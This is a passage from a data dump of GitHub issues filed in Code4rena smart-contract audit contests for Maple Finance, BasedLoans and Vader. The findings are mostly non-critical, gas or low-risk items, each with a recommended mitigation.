https://github.com/maple-labs/maple-core/blob/355141befa89c7623150a83b7d56a5f5820819e9/contracts/LoanFactory.sol#L27 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Rename the different admin variables e.g. adminGlobal, adminPool, adminLoan. Document the access control roles, hierarchy and interactions explicitly. "}, {"title": "Missing input validation on critical globals for zero addresses in MapleGlobals.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/35", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-04-maple-findings", "body": "Missing input validation on critical globals for zero addresses in MapleGlobals.sol"}, {"title": "Inconsistent NatSpec comment in DebtLocker.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/34", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Access control of external/public functions via modifiers or require statements is typically specified in the @dev part of the NatSpec comment. This highlight is missing for the claim() function which is accessible only by isPool. ## Proof of Concept https://github.com/maple-labs/maple-core/blob/355141befa89c7623150a83b7d56a5f5820819e9/contracts/DebtLocker.sol#L44-L54 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add \u201cOnly called by the pool contract.\u201d to @dev on L45. "}, {"title": "Missing event for critical operation of setAdmin change in Loan.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/33", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact An admin of a Loan can pause/unpause the fundLoan operation along with the borrower. This critical operation of admin status change in setAdmin function should be logged as an event for off-chain monitoring. However, such an event emission is missing here. ## Proof of Concept https://github.com/maple-labs/maple-core/blob/355141befa89c7623150a83b7d56a5f5820819e9/contracts/Loan.sol#L409-L413 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Create and emit a suitable event to log admin status change in setAdmin function. "}, {"title": "Vulnerable to potential reentrancy attacks in Loan.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/32", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "Vulnerable to potential reentrancy attacks in Loan.sol"}, {"title": "Missing event for critical operation of new Liquidity locker creation in LiquidityLockerFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/31", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Lockers are critical contracts that hold custody of different Maple assets. While there are five lockers created initially (as described in https://github.com/maple-labs/maple-core/wiki/Lockers), such new lockers created by the factory should be logged as events for off-chain monitoring, similar to whats done in StakeLocker. However, such an event emission is missing here. ## Proof of Concept https://github.com/maple-labs/maple-core/blob/355141befa89c7623150a83b7d56a5f5820819e9/contracts/LiquidityLockerFactory.sol#L19-L24 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Create and emit a suitable event to log locker creation. "}, {"title": "Missing event for critical operation of new Funding locker creation in FundingLockerFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/30", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Lockers are critical contracts that hold custody of different Maple assets. While there are five lockers created initially (as described in https://github.com/maple-labs/maple-core/wiki/Lockers), such new lockers created by the factory should be logged as events for off-chain monitoring, similar to whats done in StakeLocker. However, such an event emission is missing here. ## Proof of Concept https://github.com/maple-labs/maple-core/blob/355141befa89c7623150a83b7d56a5f5820819e9/contracts/FundingLockerFactory.sol#L21-L26 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Create and emit a suitable event to log locker creation. "}, {"title": "Missing event for critical operation of new Debt locker creation in DebtLockerFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/29", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Lockers are critical contracts that hold custody of different Maple assets. While there are five lockers created initially (as described in https://github.com/maple-labs/maple-core/wiki/Lockers), such new lockers created by the factory should be logged as events for off-chain monitoring, similar to whats done in StakeLocker. However, such an event emission is missing here. ## Proof of Concept https://github.com/maple-labs/maple-core/blob/355141befa89c7623150a83b7d56a5f5820819e9/contracts/DebtLockerFactory.sol#L19-L23 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Create and emit a suitable event to log locker creation. "}, {"title": "Missing event for critical operation of new Collateral locker creation in CollateralLockerFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/28", "labels": ["bug", "duplicate", "1 (Low Risk)"], "target": "2021-04-maple-findings", "body": "Missing event for critical operation of new Collateral locker creation in CollateralLockerFactory.sol"}, {"title": "Missing event for critical operation of new Collateral locker creation in CollateralLockerFactory.sol", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/27", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "resolved"], "target": "2021-04-maple-findings", "body": "Missing event for critical operation of new Collateral locker creation in CollateralLockerFactory.sol"}, {"title": "Year is not exactly 365 days", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/26", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "Year is not exactly 365 days"}, {"title": "Typo NULL_TRASNFER_DST", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/25", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact A require statement in the function transfer in LiquidityLocker.sol contains a typo. TRASNFER should be TRANSFER ## Proof of Concept LiquidityLocker.sol: function transfer(address dst, uint256 amt) external isPool { LiquidityLocker.sol: require(dst != address(0), \"LiquidityLocker:NULL_TRASNFER_DST\"); ## Tools Used Editor ## Recommended Mitigation Steps Fix typo "}, {"title": "Same constants defined in different files", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/23", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "Same constants defined in different files"}, {"title": "Unused definition of enum", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/17", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact LoanLib.sol has a definition of enum State and Loan.sol has the same definition. The LoanLib.sol does not seem to be used This means dead code and could be confusing. ## Proof of Concept Loan.sol: enum State { Ready, Active, Matured, Expired, Liquidated } LoanLib.sol: enum State { Ready, Active, Matured, Expired, Liquidated } ## Tools Used grep \"enum\" *.sol -S ## Recommended Mitigation Steps Remove the unused definition from LoanLib.sol (or make sure there is just one definition for the enum and include that elsewhere) "}, {"title": "Declare functions `external` to save gas", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/11", "labels": ["bug", "sponsor confirmed", "resolved", "G (Gas Optimization)"], "target": "2021-04-maple-findings", "body": "# Handle JMukesh # Vulnerability details // All these function described should be declared external, as functions that are never called by the contract should be declared external to save gas. In fundingLockerFactory.sol --> newLocker(){} In LatefeeCalc.sol --> getlateFee(){] In Loan.sol --> MakeFullPayment(){} In library/Loanlib.sol --> getNextPayment(){} In library/Util.sol --> calcMinAmount(){} In token/BasicFDT.sol --> withdrawnFundsOf(){} In MapleTreasury.sol --> reclaimERC20(){} distributeToHolder(){} convertERC20(){} In Pool.sol --> claimablefunds(){} --> BPTval(){} In Poollib,sol --> validateDeactivation(){} isWithdrawAllowed(){} getInitialStakeRequirements(){} ecognizedLossesOf(){} In Premiumcal.sol --> getPremium(){} In Repayment.sol --> getNextPayment(){} "}, {"title": "Missing zero address validation", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/10", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "Missing zero address validation"}, {"title": "Constructor arguments to MapleTreasury not validated", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/9", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "Constructor arguments to MapleTreasury not validated"}, {"title": "MapleTreasury does not emit an event when MapleGlobals address is updated", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/8", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-04-maple-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact Its impact will be limited since we will not able tract the change of address off-chain but on-chain we can which will consume gas ## Proof of Concept In file MapleTreasury.sol has no event, so it is difficult to track off-chain changes of Address of new MapleGlobals contract ## Tools Used slither ## Recommended Mitigation Steps add event for setting global address "}, {"title": "Loans of tokens with >18 decimals can result in incorrect collateral calculation", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/4", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "resolved"], "target": "2021-04-maple-findings", "body": "Loans of tokens with >18 decimals can result in incorrect collateral calculation"}, {"title": "Cross-Chain Replay Attack", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/2", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-04-maple-findings", "body": "Cross-Chain Replay Attack"}, {"title": "Test of Maple Finance contest form", "html_url": "https://github.com/code-423n4/2021-04-maple-findings/issues/1", "labels": ["0 (Non-critical)"], "target": "2021-04-maple-findings", "body": "Test of Maple Finance contest form"}, {"title": "Requires a non-zero address check when deploying `CErc20` tokens and `CEther`.", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/39", "labels": ["bug", "disagree with severity", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-basedloans-findings", "body": "Requires a non-zero address check when deploying `CErc20` tokens and `CEther`."}, {"title": "`UniswapAnchoredView`'s `PriceUpdated` event is never fired", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/38", "labels": ["bug", "duplicate", "disagree with severity", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-04-basedloans-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details `UniswapAnchoredView`'s `PriceUpdated` event is never fired. ## Impact Unused code can hint at programming or architectural errors. ## Recommended Mitigation Steps Use it or remove it. "}, {"title": "UniswapConfig getters return wrong token config if token config does not exist", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/37", "labels": ["bug", "duplicate", "3 (High Risk)", "sponsor confirmed"], "target": "2021-04-basedloans-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details The `UniswapConfig.getTokenConfigBySymbolHash` function does not work as `getSymbolHashIndex` returns `0` if there is no config token for that symbol (uninitialized map value), but the outer function implements the non-existence check with `-1`. The same issue occurs also for: - `getTokenConfigByCToken` - `getTokenConfigByUnderlying` ## Impact When encountering a non-existent token config, it will always return the token config of the **first index** (index 0) which is a valid token config for a completely different token. This leads to wrong oracle prices for the actual token which could in the worst case be used to borrow more tokens at a lower price or borrow more tokens by having a higher collateral value, essentially allowing undercollateralized loans that cannot be liquidated. ## Recommended Mitigation Steps Fix the non-existence check. "}, {"title": "Privileged roles", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/35", "labels": ["bug", "disagree with severity", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-basedloans-findings", "body": "Privileged roles"}, {"title": "Reward rates can be changed through flash borrows", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/33", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-04-basedloans-findings", "body": "Reward rates can be changed through flash borrows"}, {"title": " Unbounded iteration on `refreshCompSpeedsInternal`", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/32", "labels": ["bug", "disagree with severity", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-04-basedloans-findings", "body": " Unbounded iteration on `refreshCompSpeedsInternal`"}, {"title": "Usage of `address.transfer`", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/31", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-04-basedloans-findings", "body": "# Handle @cmichelio # Vulnerability details ## Vulnerability Details The `transfer` function is used in `Maximillion.sol` to send ETH to an account. ## Impact It is performed with a fixed amount of GAS and might fail if GAS costs change in the future or if a smart contract's fallback function handler is complex. ## Recommended Mitigation Steps Consider using the lower-level `.call{value: value}` instead and checking its success return value. "}, {"title": "[Info] functions 'getUnderlyingPriceView' and 'price' are too similar", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/29", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-basedloans-findings", "body": "[Info] functions 'getUnderlyingPriceView' and 'price' are too similar"}, {"title": "Allow borrowCap to be filled fully", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/28", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-04-basedloans-findings", "body": "Allow borrowCap to be filled fully"}, {"title": "Use 'interface' keyword for interfaces", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/27", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-basedloans-findings", "body": "Use 'interface' keyword for interfaces"}, {"title": "function getUnderlyingPrice compares against \"cETH\"", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/26", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-04-basedloans-findings", "body": "# Handle paulius.eth # Vulnerability details ## Impact contract CompoundLens functions cTokenMetadata and cTokenBalances compare against \"bETH\" while contract SimplePriceOracle function getUnderlyingPrice compares against \"cETH\". It is not clear if this SimplePriceOracle will be used in production, probably only for testing, but still would be nice to unify it across all the contracts. ## Recommended Mitigation Steps Replace \"cETH\" with \"bETH\" in SimplePriceOracle function getUnderlyingPrice. "}, {"title": "Use 'receive' when expecting eth and empty call data", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/25", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-04-basedloans-findings", "body": "# Handle paulius.eth # Vulnerability details ## Impact contract CEther fallback function was refactored to be compatible with the Solidity 0.6 version: /** * @notice Send Ether to CEther to mint */ fallback () external payable { (uint err,) = mintInternal(msg.value); requireNoError(err, \"mint failed\"); } From Solidity 0.6 documentation: \"The unnamed function commonly referred to as \u201cfallback function\u201d was split up into a new fallback function that is defined using the fallback keyword and a receive ether function defined using the receive keyword. If present, the receive ether function is called whenever the call data is empty (whether or not ether is received). This function is implicitly payable. The new fallback function is called when no other function matches (if the receive ether function does not exist then this includes calls with empty call data). You can make this function payable or not. If it is not payable then transactions not matching any other function which send value will revert. You should only need to implement the new fallback function if you are following an upgrade or proxy pattern.\" I think in this case \"receive\" is more suitable as the function is expecting to receive ether and empty call data. ## Recommended Mitigation Steps Replace \"fallback\" with \"receive\". "}, {"title": "uint(-1) index for not found", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/24", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-04-basedloans-findings", "body": "# Handle paulius.eth # Vulnerability details ## Impact functions getTokenConfigBySymbolHash, getTokenConfigByCToken and getTokenConfigByUnderlying check returned index against max uint: index != uint(-1) -1 should indicate that the index is not found, however, a default value for an uninitialized uint is 0, so it is impossible to get -1. What is even weirder is that 0 will be returned for non-existing configs but 0 is a valid index for the 1st config. ## Recommended Mitigation Steps One of the solutions would be to reserve 0 for a not found index and use it when searching in mappings. Then normal indexes should start from 1. Another solution would be to introduce a new mapping with a boolean value that indicates if this index is initialized or not but this may be a more gas costly way. "}, {"title": "Missed NatSpec @param for newly introduced parameter distributeAll", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/22", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-04-basedloans-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The distributeSupplierComp() function has been modified to take in a third parameter which is a boolean distributeAll. But the corresponding NatSpec comments for the function have not been updated to add this new parameter. This could lead to minor confusion where NatSpec is consulted. ## Proof of Concept https://github.com/code-423n4/2021-04-basedloans/blob/5c8bb51a3fdc334ea0a68fd069be092123212020/code/contracts/Comptroller.sol#L1238-L1243 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add @param for distributeAll parameter. "}, {"title": "Missing zero/threshold check for maxAssets", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/21", "labels": ["bug", "disagree with severity", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-04-basedloans-findings", "body": "Missing zero/threshold check for maxAssets"}, {"title": "Missing input validation may set COMP token to zero-address in Comptroller.sol", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/20", "labels": ["bug", "duplicate", "disagree with severity", "0 (Non-critical)", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-04-basedloans-findings", "body": "Missing input validation may set COMP token to zero-address in Comptroller.sol"}, {"title": "Floating pragma used in Uniswap*.sol\u2028", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/19", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-04-basedloans-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Contracts should be deployed using the same compiler version/flags with which they have been tested. Locking the floating pragma, i.e. by not using ^ in pragma solidity ^0.6.10, ensures that contracts do not accidentally get deployed using an older compiler version with unfixed bugs. For reference, see https://swcregistry.io/docs/SWC-103 ## Proof of Concept https://github.com/code-423n4/2021-04-basedloans/blob/5c8bb51a3fdc334ea0a68fd069be092123212020/code/contracts/UniswapOracle/UniswapAnchoredView.sol#L3 https://github.com/code-423n4/2021-04-basedloans/blob/5c8bb51a3fdc334ea0a68fd069be092123212020/code/contracts/UniswapOracle/UniswapConfig.sol#L3 https://github.com/code-423n4/2021-04-basedloans/blob/5c8bb51a3fdc334ea0a68fd069be092123212020/code/contracts/UniswapOracle/UniswapLib.sol#L3 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove ^ in \u201cpragma solidity ^0.6.10\u201d and change it to \u201cpragma solidity 0.6.12\u201d to be consistent with the rest of the contracts. "}, {"title": "All except one Comptroller verify functions do not verify anything in Comptroller.sol/CToken.sol\u2028", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/18", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-04-basedloans-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Six of the seven Comptroller verify functions do nothing. Not sure why their calls in CToken.sol have been uncommented from the original Compound version. Except redeemVerify(), six other verify functions transferVerify(), mintVerify(), borrowVerify(), repayBorrowVerify(), liquidateBorrowVerify() and seizeVerify() have no logic except accessing state variables to not be marked pure. Calls to these functions were commented out in the original Compound code\u2019s CToken.sol but have been uncommented here. Given that they do not implement any logic, the protocol should not be making any assumptions about any defence provided from their unimplemented verification logic. ## Proof of Concept Dummy functions whose comments say \u201c// Shh - currently unused\u201d: https://github.com/code-423n4/2021-04-basedloans/blob/5c8bb51a3fdc334ea0a68fd069be092123212020/code/contracts/Comptroller.sol#L263-L281 https://github.com/code-423n4/2021-04-basedloans/blob/5c8bb51a3fdc334ea0a68fd069be092123212020/code/contracts/Comptroller.sol#L402-L418 https://github.com/code-423n4/2021-04-basedloans/blob/5c8bb51a3fdc334ea0a68fd069be092123212020/code/contracts/Comptroller.sol#L450-L474 https://github.com/code-423n4/2021-04-basedloans/blob/5c8bb51a3fdc334ea0a68fd069be092123212020/code/contracts/Comptroller.sol#L519-L546 https://github.com/code-423n4/2021-04-basedloans/blob/5c8bb51a3fdc334ea0a68fd069be092123212020/code/contracts/Comptroller.sol#L584-L609 https://github.com/code-423n4/2021-04-basedloans/blob/5c8bb51a3fdc334ea0a68fd069be092123212020/code/contracts/Comptroller.sol#L638-L656 Uncommented calls from modified code: https://github.com/code-423n4/2021-04-basedloans/blob/5c8bb51a3fdc334ea0a68fd069be092123212020/code/contracts/CToken.sol#L126 https://github.com/code-423n4/2021-04-basedloans/blob/5c8bb51a3fdc334ea0a68fd069be092123212020/code/contracts/CToken.sol#L560 https://github.com/code-423n4/2021-04-basedloans/blob/5c8bb51a3fdc334ea0a68fd069be092123212020/code/contracts/CToken.sol#L798 https://github.com/code-423n4/2021-04-basedloans/blob/5c8bb51a3fdc334ea0a68fd069be092123212020/code/contracts/CToken.sol#L915 https://github.com/code-423n4/2021-04-basedloans/blob/5c8bb51a3fdc334ea0a68fd069be092123212020/code/contracts/CToken.sol#L1019 https://github.com/code-423n4/2021-04-basedloans/blob/5c8bb51a3fdc334ea0a68fd069be092123212020/code/contracts/CToken.sol#L1090 Commented calls from original Compound code: https://github.com/compound-finance/compound-protocol/blob/b9b14038612d846b83f8a009a82c38974ff2dcfe/contracts/CToken.sol#L123-L124 https://github.com/compound-finance/compound-protocol/blob/b9b14038612d846b83f8a009a82c38974ff2dcfe/contracts/CToken.sol#L558-L559 https://github.com/compound-finance/compound-protocol/blob/b9b14038612d846b83f8a009a82c38974ff2dcfe/contracts/CToken.sol#L797-L798 https://github.com/compound-finance/compound-protocol/blob/b9b14038612d846b83f8a009a82c38974ff2dcfe/contracts/CToken.sol#L915-L916 https://github.com/compound-finance/compound-protocol/blob/b9b14038612d846b83f8a009a82c38974ff2dcfe/contracts/CToken.sol#L1020-L1021 https://github.com/compound-finance/compound-protocol/blob/b9b14038612d846b83f8a009a82c38974ff2dcfe/contracts/CToken.sol#L1092-L1093 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add logic to implement verification if that is indeed assumed to be implemented but is actually not. Otherwise, comment call sites. "}, {"title": "sweepToken() function removed in CErc20.sol from original Compound code", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/17", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-04-basedloans-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The sweepToken() function in the original Compound code whose specified purpose was to recover accidentally sent ERC20 tokens to contract has been removed. The original code comment says: \u201cA public function to sweep accidental ERC-20 transfers to this contract. Tokens are sent to admin (timelock).\u201d This safety measure is helpful given the number/value of accidentally stuck tokens that are sent to contracts by mistake. Tokens accidentally sent to this contract will be stuck leading to fund loss for sender. ## Proof of Concept https://github.com/compound-finance/compound-protocol/blob/b9b14038612d846b83f8a009a82c38974ff2dcfe/contracts/CErc20.sol#L112-L120 https://github.com/code-423n4/2021-04-basedloans/blob/5c8bb51a3fdc334ea0a68fd069be092123212020/code/contracts/CErc20.sol#L109-L121 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Retain this function unless there is a specific reason to remove it here. "}, {"title": "No account existence check for low-level call in CEther.sol", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/16", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-04-basedloans-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Low-level calls call/delegatecall/staticcall\u00a0return\u00a0true\u00a0even if the account called is non-existent (per EVM design). Account existence must be checked prior to calling. The doTransferOut() function was changed from using a transfer() function (which reverts) to a call() function (which returns a boolean), however there is no account existence check for the destination address to. If it doesn\u2019t exist, for some reason, call will still return true (not throw an exception) and successfully pass the return value check on the next line. The checked call paths don\u2019t seem vulnerable because they use msg.sender/admin and not a user-controlled address, but this may be a risk if used later in other contexts. Hence rating as low-risk. For reference, see this related high-risk severity finding from Trail of Bit\u2019s audit of Hermez Network: https://github.com/trailofbits/publications/blob/master/reviews/hermez.pdf ## Proof of Concept https://github.com/code-423n4/2021-04-basedloans/blob/5c8bb51a3fdc334ea0a68fd069be092123212020/code/contracts/CEther.sol#L145-L148 https://github.com/crytic/slither/wiki/Detector-Documentation#low-level-calls https://docs.soliditylang.org/en/v0.8.4/control-structures.html#error-handling-assert-require-revert-and-exceptions ## Tools Used Manual Analysis ## Recommended Mitigation Steps Check for account-existence before the call() to make this safely extendable to user-controlled address contexts in future. "}, {"title": "Outdated Compiler", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/15", "labels": ["bug", "disagree with severity", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-basedloans-findings", "body": "Outdated Compiler"}, {"title": "Missing validation for _setCompAddress", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/14", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-basedloans-findings", "body": "Missing validation for _setCompAddress"}, {"title": "Missing event visbility in _setCompAddress() function", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/13", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-04-basedloans-findings", "body": "# Handle toastedsteaksandwich # Vulnerability details ## Impact The _setCompAddress() function in the Comptroller contract does not emit an event when changing the comp address. While this does not impose any security risk, it does hinder a users ability to view any changes made to the comp address through the contract's lifetime. ## Affected line https://github.com/code-423n4/2021-04-basedloans/blob/main/code/contracts/Comptroller.sol#L1354 ## Recommended Mitigation Steps It is recommended to emit an event indicating the old comp address, and the new comp address to be used when calling the _setCompAddress() function. An example of such an event is `event NewCompAddress(address oldCompAddress, address newCompAddress)`. "}, {"title": "uint[] memory parameter is tricky", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/12", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-04-basedloans-findings", "body": "uint[] memory parameter is tricky"}, {"title": "now is still used", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/10", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-basedloans-findings", "body": "now is still used"}, {"title": "More readable constants", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/8", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-04-basedloans-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Some constant values are difficult to read in one time because they have at lot of 0's. Solidity allows _ to separate series of zero's ## Proof of Concept .\\Governance\\Blo.sol: uint public constant totalSupply = 100000000e18; // 100 million BLO .\\Governance\\GovernorAlpha.sol: function quorumVotes() public pure returns (uint) { return 4000000e18; } // 4,000,000 = 4% of BLO .\\Governance\\GovernorAlpha.sol: function proposalThreshold() public pure returns (uint) { return 1000000e18; } // 1,000,000 = 1% of BLO ## Tools Used grep ## Recommended Mitigation Steps Replace 1000000e18 with 1_000_000e18 Replace 4000000e18 with 4_000_000e18 Replace 100000000e18 with 100_000_000e18 "}, {"title": "uint(-1)", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/7", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-basedloans-findings", "body": "uint(-1)"}, {"title": "CarefulMath / safe math not allways used", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/6", "labels": ["bug", "disagree with severity", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-04-basedloans-findings", "body": "CarefulMath / safe math not allways used"}, {"title": "requireNoError not used in a consistent way", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/5", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-basedloans-findings", "body": "requireNoError not used in a consistent way"}, {"title": "requireNoError can be optimized", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/4", "labels": ["bug", "sponsor acknowledged", "G (Gas Optimization)"], "target": "2021-04-basedloans-findings", "body": "requireNoError can be optimized"}, {"title": "Alphabetical order not complied with (contrary to the comments)", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/3", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-basedloans-findings", "body": "Alphabetical order not complied with (contrary to the comments)"}, {"title": "Reliance on the fact that NO_ERROR = 0", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/2", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-basedloans-findings", "body": "Reliance on the fact that NO_ERROR = 0"}, {"title": "Multiple error enums with overlapping values", "html_url": "https://github.com/code-423n4/2021-04-basedloans-findings/issues/1", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-04-basedloans-findings", "body": "Multiple error enums with overlapping values"}, {"title": "Unnecessary function calls in `addLiquidity`", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/320", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-04-vader-findings", "body": "Unnecessary function calls in `addLiquidity`"}, {"title": "Unnecessary `else if` statement in `swapWithSynthsWithLimit`", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/319", "labels": ["bug", "G (Gas Optimization)", "addressed"], "target": "2021-04-vader-findings", "body": "# Handle shw # Vulnerability details ## Impact In `Router.sol`, the second `else if` statement in the function `swapWithSynthsWithLimit` is unnecessary. ## Proof of Concept Referenced code: [Router.sol#L162](https://github.com/code-423n4/2021-04-vader/blob/main/vader-protocol/contracts/Router.sol#L162) ## Tools Used None ## Recommended Mitigation Steps Consider using `else {...}`, which has the identical behavior to save gas. "}, {"title": "Unrestricted `addLiquidity` could cause unintended results on front-end apps that listen to events.", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/317", "labels": ["bug", "disagree with severity", "3 (High Risk)", "sponsor acknowledged", "filed"], "target": "2021-04-vader-findings", "body": "Unrestricted `addLiquidity` could cause unintended results on front-end apps that listen to events."}, {"title": "Users may unintendedly remove liquidity under a phishing attack.", "html_url": "https://github.com/code-423n4/2021-04-vader-findings/issues/316", "labels": ["bug", "disagree with severity", "3 (High Risk)", "sponsor acknowledged"], "target": "2021-04-vader-findings", "body": "Users may unintendedly remove liquidity under a phishing attack."}, {"title": "Allowing duplicated anchors could cause bias 